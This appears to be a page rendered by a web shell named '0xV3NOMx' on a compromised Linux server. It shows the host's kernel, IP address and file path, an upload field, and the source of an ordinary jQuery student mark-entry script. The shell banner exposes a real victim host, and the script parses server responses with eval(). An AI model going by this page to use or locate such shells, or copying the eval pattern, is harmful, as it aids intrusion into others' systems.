0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.129.216.248


Current Path : /var/www/html/nitte/js21042016/
Upload File :
Current File : /var/www/html/nitte/js21042016/markentry_studentwise.js

$g_studententry_table='';
$g_valid_subcode='';
$g_mark_entry_student_default_data='';
function markentrystudentwise()
{
	$geditinternalcode=0;
	window.enable_proper_module="markentrystudentwise";
	$("#page_main_div").load('html_modules/markentry_studentwise.html',function()
	{
		document.getElementById('display_module_name').innerHTML = 'Mark Entry Studentwise ';
		document.getElementById('module_name_for_save').value = 'SaveMarkEntryStudentwise'; 
		getDefaultHeadFooterLinks('Mark Entry (Studentwise)'); 				
		document.getElementById('markentry_stu_degree_code').focus();		
		$g_studententry_table=$("#studentwise_markentry_table").html();
		$("#markentry_studentwise_div").hide();
		BindSubCategoryDropDown();
		ClearStudentEntryTextBox();
		$("#print_row").hide();		
	    disableButton();	
		document.getElementById('StudentEntry_SubCategory').focus();
	}
	);
	$('#module_details_div').hide();
}

function ClearStudentEntryTextBox()
{
	$("#markentry_stu_degree_code").val("");
	$("#markentry_stu_degree_name").val("");
	$("#markentry_stu_Examno").val("");
	$("#markentry_stu_Exam_name").val("");
	$("#markentry_stu_Regno").val("");
	$("#markentry_stu_studentname").val("");
}


function enableNewMarksEntryStudentwise()
{
 
	$("#markentry_studentwise_div").hide();
	
	if($("#markentry_stu_degree_code").val()=="")
	{
		 alert("Please Enter Degree Name");
		 $("#markentry_stu_degree_code").focus();
		 return;
	}
	if($("#markentry_stu_Examno").val()=="")
	{
		 alert("Please Enter Subject Code");
		 $("#markentry_stu_Examno").focus();
		 return;
	}
	if($("#markentry_stu_Regno").val()=="")
	{
		 alert("Please Enter Examno");
		 $("#markentry_stu_Regno").focus();
		 return;
	}
	$Degcode = $("#markentry_stu_degree_code").val();
	$Examno = $("#markentry_stu_Examno").val();
	$Regno = $("#markentry_stu_Regno").val();
		
	$.ajax({
				type: "POST",
				async:false,
				data: "Regno="+$Regno+"&Degcode="+$Degcode+"&Examno="+$Examno,
				url: $host_url+"DisplayStudentMarkEnteryTable.demo",
				success: DisplayAllMarkEntryTableResponse
			});    	
}

 function DisplayAllMarkEntryTableResponse($responce)
 {
	$responce = eval('(' + $responce + ')'); 
	if($responce.error_code==0)
	{
		$("#mes_default_subcode_div").show();	
		$("#mes_default_subcode_div").load($responce.data.filenme);				
	}
 }


function CheckSubjectName($id,$tr_id)
{	
	$ids = document.getElementById($id);
	$subcode = $ids.value;
	if($subcode!='')
				{
				 $category = encodeURIComponent(trim($("#StudentEntry_SubCategory").val()));
				 $.ajax({
						type: "POST",
						//async:false,
						url: $host_url+"CheckEnteredstudentSubjectCode.demo", 
						data:"degcode="+encodeURIComponent(trim($("#markentry_stu_degree_code").val()))+"&subcode="+encodeURIComponent(trim($subcode))+"&exam_no="+encodeURIComponent(trim($("#markentry_stu_Examno").val()))+"&module="+$g_screen_type+"&category="+$category+"&id="+$id,
						success: getStudentEntrySubjectNameResponsedata
						});
				}
	else
	{
		$("#markentery_stuwise_subname_"+$tr_id).val("");
		$("#markentery_stuwise_subcode_"+$tr_id).focus();
		return false;
	}
}


function getStudentEntrySubjectNameResponsedata($responce)
{
	$responce = eval('(' + $responce + ')'); 
	if($responce.error_code == 0)
	{ 
		$check_dup=$responce.data.FCSUBCODE;
		$check_dup_flag=0;
		$Textbox = document.getElementsByName("mark_entery_stuwise");
		$NumTextBox = $Textbox.length;	 
		for($m=1;$m<=$NumTextBox;$m++)
		{
			if($m!=$responce.data.id && ($check_dup==$("#markentery_stuwise_subcode_"+$m).val() ))
			$check_dup_flag=1;
		}
		if($check_dup_flag==0)
		{	
			$g_valid_subcode=1;
			document.getElementById("markentery_stuwise_subname_"+ $responce.data['id']).innerHTML = $responce.data['FSUBNAME']+'-'+$responce.data['FSSUBNAME']; 
			document.getElementById("markentry_stuwise_maxmark_"+ $responce.data['id']).innerHTML = $responce.data['FSMAXMARKS'];
			document.getElementById("markentery_stuwise_secmark_"+ $responce.data['id']).focus();
			return true;
		}
		else
		{
			alert($responce.data['FCSUBCODE']+  "allready Selected");
			$g_valid_subcode=0;			
			return false;
		}
		
	}
	else
	{
		$g_valid_subcode=0;
		alert("Invaild Subject Code Number");
		document.getElementById("markentery_stuwise_subcode_"+$responce.data).value='';
		document.getElementById("markentery_stuwise_subname_"+$responce.data).innerHTML='';
		document.getElementById("markentery_stuwise_subcode_"+$responce.data).focus();
		//document.getElementById("markentery_subwise_regno_"+ $responce.data).value='';
		return false;
	}
} 
 
function validateStudentwiseEntryMarks($ths)
{
	var maxm=($ths.id).split('_');	
	var max_name = maxm[0];
    var max_mark_id = maxm[1];	
		
	$Maxmark = parseFloat($("#cds_maxmarks_"+max_mark_id).html());
		
	$Entrymark = parseFloat($("#"+$ths.id).val());
	//alert($Entrymark); 
	
		if($Maxmark>=$Entrymark && $Entrymark>=-2)
		{
			if($Entrymark==-1)
			{ $("#cds_status_"+max_mark_id).html('');}
			
			if($Entrymark ==-2)
			{ $("#cds_status_"+max_mark_id).html('A');}
			
			if($Entrymark>=0)
			{ $("#cds_status_"+max_mark_id).html('P');}
			
			return true;
		}	
		else
		{
			alert("Plaese Enter Valid Mark");
			$("#"+$ths.id).val('');
			$("#"+$ths.id).focus();			
			return false;
		}
}



/* 
function focusSubjectCode($txt_id)
{
		$id = $txt_id.replace(/markentery_stuwise_preabs_/,'markentery_stuwise_secmark_');
		$reg_no = $txt_id.replace(/markentery_stuwise_preabs_/,'markentery_stuwise_subcode_');
		$max_mark_id = $txt_id.replace(/markentery_stuwise_preabs_/,'markentry_stuwise_maxmark_');
		$Maxmark = parseFloat($("#"+$max_mark_id).val());
		$Entrymark = parseFloat($("#"+$id).val());
		 
		if($Entrymark>-3 && $Entrymark<=$Maxmark)
		{
		$sub = parseInt($txt_id.substring($txt_id.lastIndexOf('_')+1));
		$sub+=1;
		$Textbox = document.getElementsByName("mark_entery_stuwise");
		$NumTextBox = $Textbox.length;
		if($sub==$NumTextBox)
			document.getElementById("markentery_stuwise_subcode_"+$NumTextBox).focus();
		else
			document.getElementById("markentery_stuwise_secmark_"+$sub).focus();
		}	
		else
		{
		 document.getElementById($id).focus();
		}
} */

function MarkEntryStuGetDegreeCode(evt,id,DegCode)
{
 var kC  = (evt.which) ? evt.which : evt.keyCode;
 //alert(id);
	if(kC==113) //F2 Key code
	{
		degreeDetailsPopup(DegCode);
	} 
}

function MarkEntryStuGetRegno(evt,id)
 {
	var kC  = (evt.which) ? evt.which : evt.keyCode;
	if(kC==113)// F2 key code
	{
	$degcode = $("#markentry_stu_degree_code").val();
	if($degcode=="")
		{
		alert("Please Enter Degree Code");
		document.getElementById("markentry_stu_degree_code").focus();
		return;
		}
		PopupMarkEntrySubGetRegno();
	}
 }
 

function SaveMarkEntryStudentwise() 
{
	var $list_data, length_of_marks;
	
	$list_data ="Fdegree="+$("#markentry_stu_degree_code").val();
	$list_data+="&FExamno="+$("#markentry_stu_Examno").val();
	$list_data+="&FRegno="+$("#markentry_stu_Regno").val();
	$list_data+="&type="+$("#is_add_editis_add_edit").val();
	$markentry_setup_stuwise = new Object();
	
	$Textbox = document.getElementsByName("mark_entery_stuwise");
	$NumRow = $Textbox.length;
	$mes_all_sub_code='';
	length_of_marks = ($("input[id*='Marks_']").length);
	
	for($i=1;$i<=length_of_marks;$i++)
	{	
		$markentry_setup_stuwise[$i]= new Object();
		if($("#markentery_stuwise_subcode_"+$i).val()!="")
		{
			$mes_all_sub_code+="'"+$("#markentery_stuwise_subcode_"+$i).val()+"',";
			$markentry_setup_stuwise[$i]['Fsubcode']=$("#cds_subcode_"+$i).html();
			$markentry_setup_stuwise[$i]['Fsubname']=$("#cds_subname_"+$i).html();			
			$markentry_setup_stuwise[$i]['Fsecmark']=$("#Marks_"+$i).val();
			$markentry_setup_stuwise[$i]['Fpreabs']=$("#cds_status_"+$i).html();
		}
	}
		
	var myJSONText = encodeURIComponent(JSON.stringify($markentry_setup_stuwise));  
    $list_data+="&output_details="+myJSONText+"&all_sub_codes="+encodeURIComponent($mes_all_sub_code);

	$.ajax({
		type: "POST",
		async:false,
		url: $host_url+"saveMarkEntryStudentwise.demo",
		data:$list_data,	
		success: saveMarkEntryStudentwiseResponce
	}); 
}
  
 function saveMarkEntryStudentwiseResponce($responce)
{
	$responce = eval('(' + $responce + ')'); 
	if($responce.error_code==0)
	{
		alert($responce.data);    
	//ClearStudentEntryTextbox();
	$('#markentry_stu_degree_code').focus;
	}
	else  
	{
	alert($responce.data);  
	$("#markentery_stuwise_subcode_1").focus();
	}
	$('#mes_default_subcode_div').hide();
} 


function ClearStudentEntryTextbox()
 {
	$('#markentry_stu_degree_code').val('');
	$('#markentry_stu_degree_name').val('');
	$('#markentry_stu_Examno').val('');
	$('#markentry_stu_Exam_name').val('');
	$('#markentry_stu_Regno').val('');
	$('#markentry_stu_studentname').val('');
	//document.getElementById('mes_default_subcode_div').innerHTML='';
/* 	document.getElementById('markentery_stuwise_subcode_1').value='';
	document.getElementById('markentery_stuwise_subname_1').innerHTML='';
	document.getElementById('markentry_stuwise_maxmark_1').innerHTML='';
	document.getElementById('markentery_stuwise_secmark_1').value=-1;
	document.getElementById('markentery_stuwise_preabs_1').value=''; */
	//document.getElementById('markentry_studentwise_tableitem').innerHTML='';
	$("#markentry_studentwise_div").hide();
}

function disableButton()
{	
	//document.getElementById("row_edit").setAttribute("class", "tarkabutton-disabled");
	//document.getElementById("delete_row").setAttribute("class", "tarkabutton-disabled");
	//document.getElementById("view_row").setAttribute("class", "tarkabutton-disabled");
	ClearStudentEntryTextbox();	
}